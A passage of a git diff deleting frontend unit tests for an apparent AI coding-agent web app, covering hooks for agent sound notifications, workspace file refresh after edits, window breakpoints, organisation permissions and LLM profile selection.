it("URL-encodes individual segments but not the separators", () => { - expect(joinWorkspaceUrl(base, "my files/has spaces.txt")).toBe( - `${base}my%20files/has%20spaces.txt`, - ); - expect(joinWorkspaceUrl(base, "tëst/résumé.pdf")).toBe( - `${base}t%C3%ABst/r%C3%A9sum%C3%A9.pdf`, - ); - }); -}); diff --git a/__tests__/hooks/use-agent-notification.test.ts b/__tests__/hooks/use-agent-notification.test.ts deleted file mode 100644 index b84d914f3..000000000 --- a/__tests__/hooks/use-agent-notification.test.ts +++ /dev/null @@ -1,106 +0,0 @@ -import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; -import { renderHook } from "@testing-library/react"; -import { useAgentNotification } from "#/hooks/use-agent-notification"; -import { AgentState } from "#/types/agent-state"; - -// Mock useSettings to control the sound notification setting -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: vi.fn().mockReturnValue({ - data: { enable_sound_notifications: true }, - }), -})); - -// Mock Audio -const mockPlay = vi.fn().mockResolvedValue(undefined); -const mockAudio = { - play: mockPlay, - currentTime: 0, - volume: 0.5, -}; - -class MockAudio { - play = mockPlay; - currentTime = 0; - volume = 0.5; - constructor() { - Object.assign(this, mockAudio); - return mockAudio as unknown as MockAudio; - } -} -vi.stubGlobal("Audio", MockAudio); - -describe("useAgentNotification", () => { - beforeEach(() => { - vi.useFakeTimers(); - vi.clearAllMocks(); - }); - - afterEach(() => { - vi.useRealTimers(); - }); - - it("plays notification sound when agent reaches FINISHED state and sound is enabled", () => { - const { rerender } = renderHook( - ({ state }) => useAgentNotification(state), - { initialProps: { state: AgentState.RUNNING } }, - ); - - rerender({ state: AgentState.FINISHED }); - - expect(mockPlay).toHaveBeenCalledTimes(1); - }); - - it("plays notification sound when agent reaches AWAITING_USER_INPUT state", () => { - const { rerender } = renderHook( - ({ state }) => useAgentNotification(state), - { initialProps: { state: AgentState.RUNNING } }, - ); - - rerender({ state: AgentState.AWAITING_USER_INPUT }); - - expect(mockPlay).toHaveBeenCalledTimes(1); - }); - - it("plays notification sound when agent reaches AWAITING_USER_CONFIRMATION state", () => { - const { rerender } = renderHook( - ({ state }) => useAgentNotification(state), - { initialProps: { state: AgentState.RUNNING } }, - ); - - rerender({ state: AgentState.AWAITING_USER_CONFIRMATION }); - - expect(mockPlay).toHaveBeenCalledTimes(1); - }); - - it("does not play sound when sound notifications are disabled", async () => { - const { useSettings } = await import("#/hooks/query/use-settings"); - vi.mocked(useSettings).mockReturnValue({ - data: { enable_sound_notifications: false }, - } as ReturnType); - - const { rerender } = renderHook( - ({ state }) => useAgentNotification(state), - { initialProps: { state: AgentState.RUNNING } }, - ); - - rerender({ state: AgentState.FINISHED }); - - expect(mockPlay).not.toHaveBeenCalled(); - - // Restore - vi.mocked(useSettings).mockReturnValue({ - data: { enable_sound_notifications: true }, - } as ReturnType); - }); - - it("does not trigger for non-notification states like RUNNING", () => { - const { rerender } = renderHook( - ({ state }) => useAgentNotification(state), - { initialProps: { state: AgentState.LOADING } }, - ); - - rerender({ state: AgentState.RUNNING }); - - expect(mockPlay).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/use-auto-refresh-files-on-edit.test.tsx b/__tests__/hooks/use-auto-refresh-files-on-edit.test.tsx deleted file mode 100644 index a0ef5817c..000000000 --- a/__tests__/hooks/use-auto-refresh-files-on-edit.test.tsx +++ /dev/null @@ -1,429 +0,0 @@ -import { describe, it, expect, beforeEach, vi } from "vitest"; -import { act, renderHook } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import React from "react"; - -import { useAutoRefreshFilesOnEdit } from "#/hooks/use-auto-refresh-files-on-edit"; -import { useEventStore } from "#/stores/use-event-store"; -import type { OHEvent } from "#/stores/use-event-store"; -import { useWorkspaceMutationCounter } from "#/stores/use-workspace-mutation-counter"; - -function makeWrapper(client: QueryClient) { - return ({ children }: { children: React.ReactNode }) => ( - {children} - ); -} - -function makeObservationEvent( - id: string, - kind: string, - command: string, -): OHEvent { - return { - id, - timestamp: new Date(Date.now() + Number(id.replace(/\D/g, "")) * 1000) - .toISOString(), - source: "environment", - tool_name: "str_replace_based_edit_tool", - tool_call_id: `tc-${id}`, - action_id: `act-${id}`, - observation: { - kind, - command, - path: "/workspace/project/foo.txt", - old_content: null, - new_content: "hello", - output: "ok", - }, - } as unknown as OHEvent; -} - -describe("useAutoRefreshFilesOnEdit", () => { - beforeEach(() => { - act(() => { - useEventStore.getState().clearEvents(); - // Reset the workspace mutation counter so per-test counter assertions - // don't see ticks bled over from earlier tests. - useWorkspaceMutationCounter.setState({ count: 0 }); - }); - }); - - it("invalidates workspace queries when a mutating file editor observation arrives", () => { - const client = new QueryClient(); - const spy = vi.spyOn(client, "invalidateQueries"); - - renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - expect(spy).not.toHaveBeenCalled(); - - act(() => { - useEventStore - .getState() - .addEvent( - makeObservationEvent("1", "FileEditorObservation", "str_replace"), - ); - }); - - const invalidatedKeys = spy.mock.calls.map( - (call) => (call[0] as { queryKey: unknown[] }).queryKey[0], - ); - expect(invalidatedKeys).toContain("workspace-files"); - expect(invalidatedKeys).toContain("workspace-file-content"); - expect(invalidatedKeys).toContain("file_changes"); - expect(invalidatedKeys).toContain("file_diff"); - }); - - it.each(["ExecuteBashObservation", "TerminalObservation"])( - "refreshes only the git diff queries when a %s arrives", - (kind) => { - // Arrange - const client = new QueryClient(); - const spy = vi.spyOn(client, "invalidateQueries"); - renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - // Act — bash observations are how `git commit` / shell file edits - // reach the event stream. - act(() => { - useEventStore - .getState() - .addEvent(makeObservationEvent("1", kind, "git commit -m 'done'")); - }); - - // Assert — the diff and commit-list queries refresh, and nothing - // else does (workspace file queries on every shell command would - // churn the Files tab; per-commit queries are immutable). - const invalidatedKeys = spy.mock.calls.map( - (call) => (call[0] as { queryKey: unknown[] }).queryKey[0], - ); - expect(invalidatedKeys).toEqual([ - "file_changes", - "file_diff", - "git_commits", - ]); - }, - ); - - it("does not apply the file-editor read-only filter to bash commands", () => { - // Arrange — `READ_ONLY_COMMANDS` matches editor sub-commands; for bash - // observations `command` is a whole shell command line and must not be - // filtered even if it collides with an editor sub-command name. - const client = new QueryClient(); - const spy = vi.spyOn(client, "invalidateQueries"); - renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - // Act - act(() => { - useEventStore - .getState() - .addEvent(makeObservationEvent("1", "ExecuteBashObservation", "view")); - }); - - // Assert - expect(spy).toHaveBeenCalled(); - }); - - it("ignores read-only `view` observations", () => { - const client = new QueryClient(); - const spy = vi.spyOn(client, "invalidateQueries"); - - renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - act(() => { - useEventStore - .getState() - .addEvent(makeObservationEvent("1", "FileEditorObservation", "view")); - }); - - expect(spy).not.toHaveBeenCalled(); - }); - - it("ignores observation kinds that are neither file-editor nor bash", () => { - const client = new QueryClient(); - const spy = vi.spyOn(client, "invalidateQueries"); - - renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - act(() => { - useEventStore - .getState() - .addEvent(makeObservationEvent("1", "BrowserObservation", "navigate")); - }); - - expect(spy).not.toHaveBeenCalled(); - }); - - it("bumps the workspace mutation counter on each mutating observation so iframes / images cache-bust", () => { - const client = new QueryClient(); - - renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - expect(useWorkspaceMutationCounter.getState().count).toBe(0); - - act(() => { - useEventStore - .getState() - .addEvent( - makeObservationEvent("1", "FileEditorObservation", "str_replace"), - ); - }); - expect(useWorkspaceMutationCounter.getState().count).toBe(1); - - act(() => { - useEventStore - .getState() - .addEvent( - makeObservationEvent( - "2", - "StrReplaceEditorObservation", - "create", - ), - ); - }); - expect(useWorkspaceMutationCounter.getState().count).toBe(2); - }); - - it("does NOT bump the workspace mutation counter for read-only / non-file observations", () => { - const client = new QueryClient(); - - renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - act(() => { - useEventStore - .getState() - .addEvent(makeObservationEvent("1", "FileEditorObservation", "view")); - useEventStore - .getState() - .addEvent( - makeObservationEvent("2", "ExecuteBashObservation", "ls"), - ); - }); - - expect(useWorkspaceMutationCounter.getState().count).toBe(0); - }); - - it("still reacts to mutations that arrive out-of-order (older timestamp inserted between newer events)", () => { - // Regression test for a bug where the hook used `events.slice(processedCount)` - // to find new events. The event store re-sorts by timestamp on insert, - // so a late-arriving older event lands *between* two newer ones and - // the tail slice would miss it. - const client = new QueryClient(); - const spy = vi.spyOn(client, "invalidateQueries"); - - renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - // First, push two newer events. The id-numbers drive the timestamp, - // so id "10" is later than id "5". Both land in the same effect run - // (we coalesce — one bump per batch, not per event), so count goes - // from 0 → 1. - act(() => { - useEventStore - .getState() - .addEvent(makeObservationEvent("10", "FileEditorObservation", "create")); - useEventStore - .getState() - .addEvent(makeObservationEvent("20", "FileEditorObservation", "create")); - }); - const callsAfterInitial = spy.mock.calls.length; - expect(callsAfterInitial).toBeGreaterThan(0); - const countAfterInitial = useWorkspaceMutationCounter.getState().count; - expect(countAfterInitial).toBe(1); - - // Now insert an OLDER event (id "5" → earliest timestamp). The store - // re-sorts so the events array becomes [e5, e10, e20]. The previous - // "slice from index 2" approach would return [e20] only and miss e5 - // entirely — no invalidation, no cache-bust, stale iframe. - act(() => { - useEventStore - .getState() - .addEvent(makeObservationEvent("5", "FileEditorObservation", "create")); - }); - - // We should have invalidated again and bumped the counter exactly once - // more for the late-arriving mutation (count: 1 → 2). - expect(spy.mock.calls.length).toBeGreaterThan(callsAfterInitial); - expect(useWorkspaceMutationCounter.getState().count).toBe( - countAfterInitial + 1, - ); - }); - - it("processes each id-less event distinctly (does NOT collapse them via an `undefined` Set key)", () => { - // The event store explicitly allows events without ids - // (`getEventId` returns undefined for them). If the hook keyed dedup - // on `event.id` naively, a single `undefined` entry in the Set would - // swallow every subsequent id-less event — silently dropping real - // mutations on the floor. - // - // Verifies via three SEPARATE act() calls (one per event) so each - // store mutation gets its own effect-flush. The counter bumps once - // per flush that found at least one new mutation; three flushes → - // counter ends at 3. Putting all three addEvent calls inside a - // single act() would batch them into one flush (counter=1) and - // verify nothing useful. - const client = new QueryClient(); - - renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - // Three distinct id-less FileEditorObservation events (different - // timestamps so the store treats them as ordered, not duplicates). - const idlessEvent = (i: number): OHEvent => - ({ - // no `id` field at all → getEventId returns undefined - timestamp: new Date(2026, 0, 1, 0, 0, i).toISOString(), - source: "environment", - tool_name: "str_replace_based_edit_tool", - tool_call_id: `tc-idless-${i}`, - action_id: `act-idless-${i}`, - observation: { - kind: "FileEditorObservation", - command: "create", - path: `/workspace/project/foo${i}.txt`, - old_content: null, - new_content: "hello", - output: "ok", - }, - }) as unknown as OHEvent; - - act(() => { - useEventStore.getState().addEvent(idlessEvent(1)); - }); - expect(useWorkspaceMutationCounter.getState().count).toBe(1); - - act(() => { - useEventStore.getState().addEvent(idlessEvent(2)); - }); - expect(useWorkspaceMutationCounter.getState().count).toBe(2); - - act(() => { - useEventStore.getState().addEvent(idlessEvent(3)); - }); - expect(useWorkspaceMutationCounter.getState().count).toBe(3); - }); - - it("does NOT re-bump on subsequent renders for the same id-less event", () => { - // Companion to the previous test, targeting the *other* half of the - // id-less dedup contract: each id-less event must be processed - // exactly ONCE across the lifetime of the hook. Without - // reference-based dedup (`processedEventsRef` WeakSet) the events - // array — which is rebuilt on every store mutation but keeps stable - // element references — would cause the same id-less event to - // re-trigger the bump on every subsequent re-render, spamming - // cache invalidations. - const client = new QueryClient(); - - const { rerender } = renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - const idlessEvent: OHEvent = { - timestamp: new Date(2026, 0, 1, 0, 0, 0).toISOString(), - source: "environment", - tool_name: "str_replace_based_edit_tool", - tool_call_id: "tc-idless-stable", - action_id: "act-idless-stable", - observation: { - kind: "FileEditorObservation", - command: "create", - path: "/workspace/project/foo.txt", - old_content: null, - new_content: "hello", - output: "ok", - }, - } as unknown as OHEvent; - - act(() => { - useEventStore.getState().addEvent(idlessEvent); - }); - expect(useWorkspaceMutationCounter.getState().count).toBe(1); - - // Force several extra re-renders without adding new events. The - // id-less event still sits in the events array on every re-render, - // but the WeakSet dedup must prevent it from being re-processed. - rerender(); - rerender(); - rerender(); - expect(useWorkspaceMutationCounter.getState().count).toBe(1); - }); - - it("dedupes numeric event ids the same way as string ids", () => { - // The formal EventID type is `string`, but the event store carries - // `Set` defensively (use-event-store.ts:52) and - // `getEventId` returns `string | number | undefined`. The hook's - // processed-ids set is widened to match — a stray numeric id (legacy - // payload, hand-crafted test event, …) must still dedup correctly. - const client = new QueryClient(); - - renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - const numericEvent: OHEvent = { - id: 42 as unknown as string, // intentionally numeric at runtime - timestamp: new Date(2026, 0, 1, 0, 0, 1).toISOString(), - source: "environment", - tool_name: "str_replace_based_edit_tool", - tool_call_id: "tc-num", - action_id: "act-num", - observation: { - kind: "FileEditorObservation", - command: "create", - path: "/workspace/project/foo.txt", - old_content: null, - new_content: "hello", - output: "ok", - }, - } as unknown as OHEvent; - - act(() => { - useEventStore.getState().addEvent(numericEvent); - }); - const afterFirst = useWorkspaceMutationCounter.getState().count; - expect(afterFirst).toBe(1); - - // Re-adding the same numeric-id event must be a no-op for the - // counter (store dedups on id; hook must too). - act(() => { - useEventStore.getState().addEvent({ ...numericEvent }); - }); - expect(useWorkspaceMutationCounter.getState().count).toBe(afterFirst); - }); - - it("only invalidates once per new event batch", () => { - const client = new QueryClient(); - const spy = vi.spyOn(client, "invalidateQueries"); - - const { rerender } = renderHook(() => useAutoRefreshFilesOnEdit(), { - wrapper: makeWrapper(client), - }); - - act(() => { - useEventStore - .getState() - .addEvent(makeObservationEvent("1", "FileEditorObservation", "create")); - }); - - const callsAfterFirst = spy.mock.calls.length; - expect(callsAfterFirst).toBeGreaterThan(0); - - // Re-render without adding new events — should not re-invalidate. - rerender(); - expect(spy.mock.calls.length).toBe(callsAfterFirst); - }); -}); diff --git a/__tests__/hooks/use-auto-resize.test.tsx b/__tests__/hooks/use-auto-resize.test.tsx deleted file mode 100644 index 75e22c986..000000000 --- a/__tests__/hooks/use-auto-resize.test.tsx +++ /dev/null @@ -1,40 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { useAutoResize } from "#/hooks/use-auto-resize"; -import type { IMessageToSend } from "#/stores/conversation-store"; - -// Focused coverage for the one-shot "consume" signal that backs the fix for a -// branch prefill leaking into another conversation's composer. -describe("useAutoResize — value application / onValueApplied", () => { - let el: HTMLDivElement; - - beforeEach(() => { - el = document.createElement("div"); - el.contentEditable = "true"; - document.body.appendChild(el); - }); - - afterEach(() => { - el.remove(); - }); - - it("applies value.text to the element and signals onValueApplied once", async () => { - const ref = { current: el }; - const onValueApplied = vi.fn(); - - const { rerender } = renderHook( - ({ value }: { value: IMessageToSend | undefined }) => - useAutoResize(ref, { value, onValueApplied }), - { initialProps: { value: undefined as IMessageToSend | undefined } }, - ); - - // No value yet -> nothing applied, no signal. - expect(el.textContent).toBe(""); - expect(onValueApplied).not.toHaveBeenCalled(); - - rerender({ value: { text: "restored draft", timestamp: 1 } }); - - await waitFor(() => expect(el.textContent).toBe("restored draft")); - expect(onValueApplied).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/hooks/use-breakpoint.test.ts b/__tests__/hooks/use-breakpoint.test.ts deleted file mode 100644 index 5fd71e11c..000000000 --- a/__tests__/hooks/use-breakpoint.test.ts +++ /dev/null @@ -1,180 +0,0 @@ -import { describe, expect, it, beforeEach, afterEach, vi } from "vitest"; -import { renderHook, act } from "@testing-library/react"; -import { useBreakpoint } from "#/hooks/use-breakpoint"; - -// Helper to set window.innerWidth and dispatch resize event -function setWindowWidth(width: number) { - Object.defineProperty(window, "innerWidth", { - writable: true, - configurable: true, - value: width, - }); - window.dispatchEvent(new Event("resize")); -} - -describe("useBreakpoint", () => { - const originalInnerWidth = window.innerWidth; - - beforeEach(() => { - // Start at a known desktop width - Object.defineProperty(window, "innerWidth", { - writable: true, - configurable: true, - value: 1200, - }); - }); - - afterEach(() => { - Object.defineProperty(window, "innerWidth", { - writable: true, - configurable: true, - value: originalInnerWidth, - }); - }); - - it("returns false (not mobile) when window width is above the breakpoint", () => { - Object.defineProperty(window, "innerWidth", { value: 1200 }); - const { result } = renderHook(() => useBreakpoint()); - expect(result.current).toBe(false); - }); - - it("returns true (mobile) when window width is at the breakpoint (1024)", () => { - Object.defineProperty(window, "innerWidth", { value: 1024 }); - const { result } = renderHook(() => useBreakpoint()); - expect(result.current).toBe(true); - }); - - it("returns true (mobile) when window width is below the breakpoint", () => { - Object.defineProperty(window, "innerWidth", { value: 800 }); - const { result } = renderHook(() => useBreakpoint()); - expect(result.current).toBe(true); - }); - - it("updates from false to true when window resizes below the breakpoint", () => { - Object.defineProperty(window, "innerWidth", { value: 1200 }); - const { result } = renderHook(() => useBreakpoint()); - expect(result.current).toBe(false); - - act(() => { - setWindowWidth(800); - }); - - expect(result.current).toBe(true); - }); - - it("updates from true to false when window resizes above the breakpoint", () => { - Object.defineProperty(window, "innerWidth", { value: 800 }); - const { result } = renderHook(() => useBreakpoint()); - expect(result.current).toBe(true); - - act(() => { - setWindowWidth(1200); - }); - - expect(result.current).toBe(false); - }); - - it("does NOT trigger re-render when width changes within the desktop range", () => { - Object.defineProperty(window, "innerWidth", { value: 1200 }); - const renderCount = vi.fn(); - const { result } = renderHook(() => { - renderCount(); - return useBreakpoint(); - }); - - expect(result.current).toBe(false); - const initialRenderCount = renderCount.mock.calls.length; - - // Resize within desktop range (still above 1024) — should NOT re-render - act(() => { - setWindowWidth(1300); - }); - act(() => { - setWindowWidth(1100); - }); - act(() => { - setWindowWidth(1025); - }); - - expect(result.current).toBe(false); - // No additional renders beyond the initial render - expect(renderCount.mock.calls.length).toBe(initialRenderCount); - }); - - it("does NOT trigger re-render when width changes within the mobile range", () => { - Object.defineProperty(window, "innerWidth", { value: 800 }); - const renderCount = vi.fn(); - const { result } = renderHook(() => { - renderCount(); - return useBreakpoint(); - }); - - expect(result.current).toBe(true); - const initialRenderCount = renderCount.mock.calls.length; - - // Resize within mobile range (still at or below 1024) — should NOT re-render - act(() => { - setWindowWidth(600); - }); - act(() => { - setWindowWidth(1024); - }); - act(() => { - setWindowWidth(900); - }); - - expect(result.current).toBe(true); - expect(renderCount.mock.calls.length).toBe(initialRenderCount); - }); - - it("handles rapid resize across the breakpoint without issues", () => { - Object.defineProperty(window, "innerWidth", { value: 1200 }); - const { result } = renderHook(() => useBreakpoint()); - expect(result.current).toBe(false); - - // Rapid toggles across the breakpoint - act(() => { - setWindowWidth(800); - }); - expect(result.current).toBe(true); - - act(() => { - setWindowWidth(1200); - }); - expect(result.current).toBe(false); - - act(() => { - setWindowWidth(1024); - }); - expect(result.current).toBe(true); - - act(() => { - setWindowWidth(1025); - }); - expect(result.current).toBe(false); - }); - - it("cleans up the resize event listener on unmount", () => { - const removeEventListenerSpy = vi.spyOn(window, "removeEventListener"); - const { unmount } = renderHook(() => useBreakpoint()); - - unmount(); - - expect(removeEventListenerSpy).toHaveBeenCalledWith( - "resize", - expect.any(Function), - ); - removeEventListenerSpy.mockRestore(); - }); - - it("accepts a custom breakpoint value", () => { - Object.defineProperty(window, "innerWidth", { value: 768 }); - const { result } = renderHook(() => useBreakpoint(768)); - expect(result.current).toBe(true); - - act(() => { - setWindowWidth(769); - }); - expect(result.current).toBe(false); - }); -}); diff --git a/__tests__/hooks/use-can-manage-org-profiles.test.tsx b/__tests__/hooks/use-can-manage-org-profiles.test.tsx deleted file mode 100644 index b84894fb9..000000000 --- a/__tests__/hooks/use-can-manage-org-profiles.test.tsx +++ /dev/null @@ -1,111 +0,0 @@ -import React from "react"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { useCanManageOrgProfiles } from "#/hooks/use-can-manage-org-profiles"; -import * as orgService from "#/api/cloud/organization-service.api"; -import * as activeBackendContext from "#/contexts/active-backend-context"; -import type { Backend } from "#/api/backend-registry/types"; - -vi.mock("#/api/cloud/organization-service.api"); - -const localBackend: Backend = { - id: "local", - name: "Local", - host: "http://localhost:8000", - apiKey: "", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -function wrapper({ children }: { children: React.ReactNode }) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return ( - {children} - ); -} - -function mockBackend(backend: Backend, orgId: string | null) { - vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({ - backend, - orgId, - }); -} - -describe("useCanManageOrgProfiles", () => { - beforeEach(() => { - vi.restoreAllMocks(); - }); - - it("is always true on local backends (no /me call)", () => { - mockBackend(localBackend, null); - const { result } = renderHook(() => useCanManageOrgProfiles(), { wrapper }); - expect(result.current).toBe(true); - expect(orgService.getCloudOrganizationMe).not.toHaveBeenCalled(); - }); - - it("uses the server permission and ignores the role (permission grants)", async () => { - mockBackend(cloudBackend, "org-1"); - // Role says member, but the permission set grants edit — permission wins. - vi.mocked(orgService.getCloudOrganizationMe).mockResolvedValue({ - orgId: "org-1", - userId: "u", - role: "member", - permissions: ["view_org_settings", "edit_org_settings"], - }); - const { result } = renderHook(() => useCanManageOrgProfiles(), { wrapper }); - await waitFor(() => expect(result.current).toBe(true)); - }); - - it("uses the server permission and ignores the role (permission denies)", async () => { - mockBackend(cloudBackend, "org-1"); - // Role says owner, but the permission set lacks edit — permission wins. - vi.mocked(orgService.getCloudOrganizationMe).mockResolvedValue({ - orgId: "org-1", - userId: "u", - role: "owner", - permissions: ["view_org_settings"], - }); - const { result } = renderHook(() => useCanManageOrgProfiles(), { wrapper }); - await waitFor(() => - expect(orgService.getCloudOrganizationMe).toHaveBeenCalled(), - ); - expect(result.current).toBe(false); - }); - - it("falls back to the role when the app-server omits permissions", async () => { - mockBackend(cloudBackend, "org-1"); - vi.mocked(orgService.getCloudOrganizationMe).mockResolvedValue({ - orgId: "org-1", - userId: "u", - role: "admin", - permissions: null, - }); - const { result } = renderHook(() => useCanManageOrgProfiles(), { wrapper }); - await waitFor(() => expect(result.current).toBe(true)); - }); - - it("falls back to deny for a member when permissions are absent", async () => { - mockBackend(cloudBackend, "org-1"); - vi.mocked(orgService.getCloudOrganizationMe).mockResolvedValue({ - orgId: "org-1", - userId: "u", - role: "member", - permissions: null, - }); - const { result } = renderHook(() => useCanManageOrgProfiles(), { wrapper }); - await waitFor(() => - expect(orgService.getCloudOrganizationMe).toHaveBeenCalled(), - ); - expect(result.current).toBe(false); - }); -}); diff --git a/__tests__/hooks/use-chat-input-llm-profile-state.test.tsx b/__tests__/hooks/use-chat-input-llm-profile-state.test.tsx deleted file mode 100644 index 32b5b8168..000000000 --- a/__tests__/hooks/use-chat-input-llm-profile-state.test.tsx +++ /dev/null @@ -1,122 +0,0 @@ -import { renderHook } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { beforeEach, describe, expect, it, vi } from "vitest"; - -const useOptionalConversationIdMock = vi.fn(); -const useActiveConversationMock = vi.fn(); -const useLlmProfilesMock = vi.fn(); -const switchAndLog = vi.fn(); - -let modelStoreState: { activeProfileByConversation: Record } = { - activeProfileByConversation: {}, -}; - -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => useOptionalConversationIdMock(), -})); -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); -vi.mock("#/hooks/query/use-llm-profiles", () => ({ - useLlmProfiles: () => useLlmProfilesMock(), -})); -vi.mock("#/hooks/mutation/use-switch-llm-profile-and-log", () => ({ - useSwitchLlmProfileAndLog: () => ({ switchAndLog, isPending: false }), -})); -vi.mock("#/stores/model-store", () => ({ - useModelStore: (selector: (s: typeof modelStoreState) => unknown) => - selector(modelStoreState), -})); - -// eslint-disable-next-line import/first -import { useChatInputLlmProfileState } from "#/hooks/use-chat-input-llm-profile-state"; - -// The hook reads the switch's pending state via `useIsMutating`, which needs a -// QueryClient in context (the switch mutation itself is mocked out above). -const renderState = () => { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - return renderHook(() => useChatInputLlmProfileState(), { - wrapper: ({ children }) => ( - {children} - ), - }); -}; - -const PROFILES = [ - { name: "Fast", model: "gpt-4o-mini", base_url: null, api_key_set: true }, - { name: "Smart", model: "claude-opus", base_url: null, api_key_set: true }, -]; - -describe("useChatInputLlmProfileState", () => { - beforeEach(() => { - switchAndLog.mockReset(); - modelStoreState = { activeProfileByConversation: {} }; - useOptionalConversationIdMock.mockReturnValue({ conversationId: "c1" }); - useActiveConversationMock.mockReturnValue({ data: undefined }); - useLlmProfilesMock.mockReturnValue({ - data: { profiles: PROFILES, active_profile: "Fast" }, - isLoading: false, - }); - }); - - it("prefers the profile stamped on the conversation over a model match", () => { - useActiveConversationMock.mockReturnValue({ - data: { active_profile: "Smart", llm_model: "gpt-4o-mini" }, - }); - const { result } = renderState(); - // model "gpt-4o-mini" would match "Fast", but the stamped profile wins. - expect(result.current.currentProfileName).toBe("Smart"); - }); - - it("falls back to the profile whose model matches the running llm_model", () => { - useActiveConversationMock.mockReturnValue({ - data: { llm_model: "claude-opus" }, - }); - const { result } = renderState(); - expect(result.current.currentProfileName).toBe("Smart"); - }); - - it("falls back to the account active_profile when there is no conversation model", () => { - useActiveConversationMock.mockReturnValue({ data: { llm_model: null } }); - const { result } = renderState(); - expect(result.current.currentProfileName).toBe("Fast"); - }); - - it("prefers the optimistic just-switched profile", () => { - modelStoreState = { activeProfileByConversation: { c1: "Smart" } }; - useActiveConversationMock.mockReturnValue({ - data: { active_profile: "Fast", llm_model: "gpt-4o-mini" }, - }); - const { result } = renderState(); - expect(result.current.currentProfileName).toBe("Smart"); - }); - - it("ignores a stamped profile that is no longer in the list", () => { - useActiveConversationMock.mockReturnValue({ - data: { active_profile: "Deleted", llm_model: "claude-opus" }, - }); - const { result } = renderState(); - // Deleted is not in PROFILES → fall through to the model match. - expect(result.current.currentProfileName).toBe("Smart"); - }); - - it("live-switches a different profile against the conversation id", () => { - useActiveConversationMock.mockReturnValue({ - data: { active_profile: "Fast", llm_model: "gpt-4o-mini" }, - }); - const { result } = renderState(); - result.current.selectProfile("Smart"); - expect(switchAndLog).toHaveBeenCalledWith("c1", "Smart"); - }); - - it("does not switch when the current profile is re-selected", () => { - useActiveConversationMock.mockReturnValue({ - data: { active_profile: "Fast", llm_model: "gpt-4o-mini" }, - }); - const { result } = renderState(); - result.current.selectProfile("Fast"); - expect(switchAndLog).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/use-chat-input-model-state.test.tsx b/__tests__/hooks/use-chat-input-model-state.test.tsx deleted file mode 100644 index 9ea4143f3..000000000 --- a/__tests__/hooks/use-chat-input-model-state.test.tsx +++ /dev/null @@ -1,227 +0,0 @@ -import { renderHook } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import type { AcpModelContext } from "#/hooks/use-acp-model-context"; -import { getAcpProvider } from "#/constants/acp-providers"; - -const useActiveConversationMock = vi.fn(); -const useSettingsMock = vi.fn(); -const useActiveBackendMock = vi.fn(); -const useAcpModelContextMock = vi.fn(); -const useOptionalConversationIdMock = vi.fn(); - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => useSettingsMock(), -})); - -vi.mock("#/contexts/active-backend-context", async () => { - const actual = await vi.importActual< - typeof import("#/contexts/active-backend-context") - >("#/contexts/active-backend-context"); - return { - ...actual, - useActiveBackend: () => useActiveBackendMock(), - }; -}); - -vi.mock("#/hooks/use-acp-model-context", () => ({ - useAcpModelContext: () => useAcpModelContextMock(), -})); - -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => useOptionalConversationIdMock(), -})); - -// `getAcpProvider`/`labelForAcpModel`/`resolveEffectiveAcpModel` are exercised -// for real (not mocked) so the test pins the actual registry-sourced model -// list the picker shows. -import { useChatInputModelState } from "#/hooks/use-chat-input-model-state"; - -// `useAcpModelContext` derives these booleans; here we drive them directly so -// each branch of `useChatInputModelState` is documented in isolation. -const acpContext = ( - overrides: Partial = {}, -): AcpModelContext => ({ - isActiveAcpConversation: false, - isHomeAcp: false, - isAcpContext: false, - destinationPath: "/settings/llm", - destinationLabel: "LLM Profiles", - ...overrides, -}); - -describe("useChatInputModelState", () => { - beforeEach(() => { - useActiveConversationMock.mockReset(); - useActiveConversationMock.mockReturnValue({ data: undefined }); - useSettingsMock.mockReset(); - useSettingsMock.mockReturnValue({ data: undefined }); - useActiveBackendMock.mockReset(); - // Default to a local backend — live ACP switching is local-only. - useActiveBackendMock.mockReturnValue({ backend: { kind: "local" } }); - useAcpModelContextMock.mockReset(); - useAcpModelContextMock.mockReturnValue(acpContext()); - useOptionalConversationIdMock.mockReset(); - useOptionalConversationIdMock.mockReturnValue({ conversationId: null }); - }); - 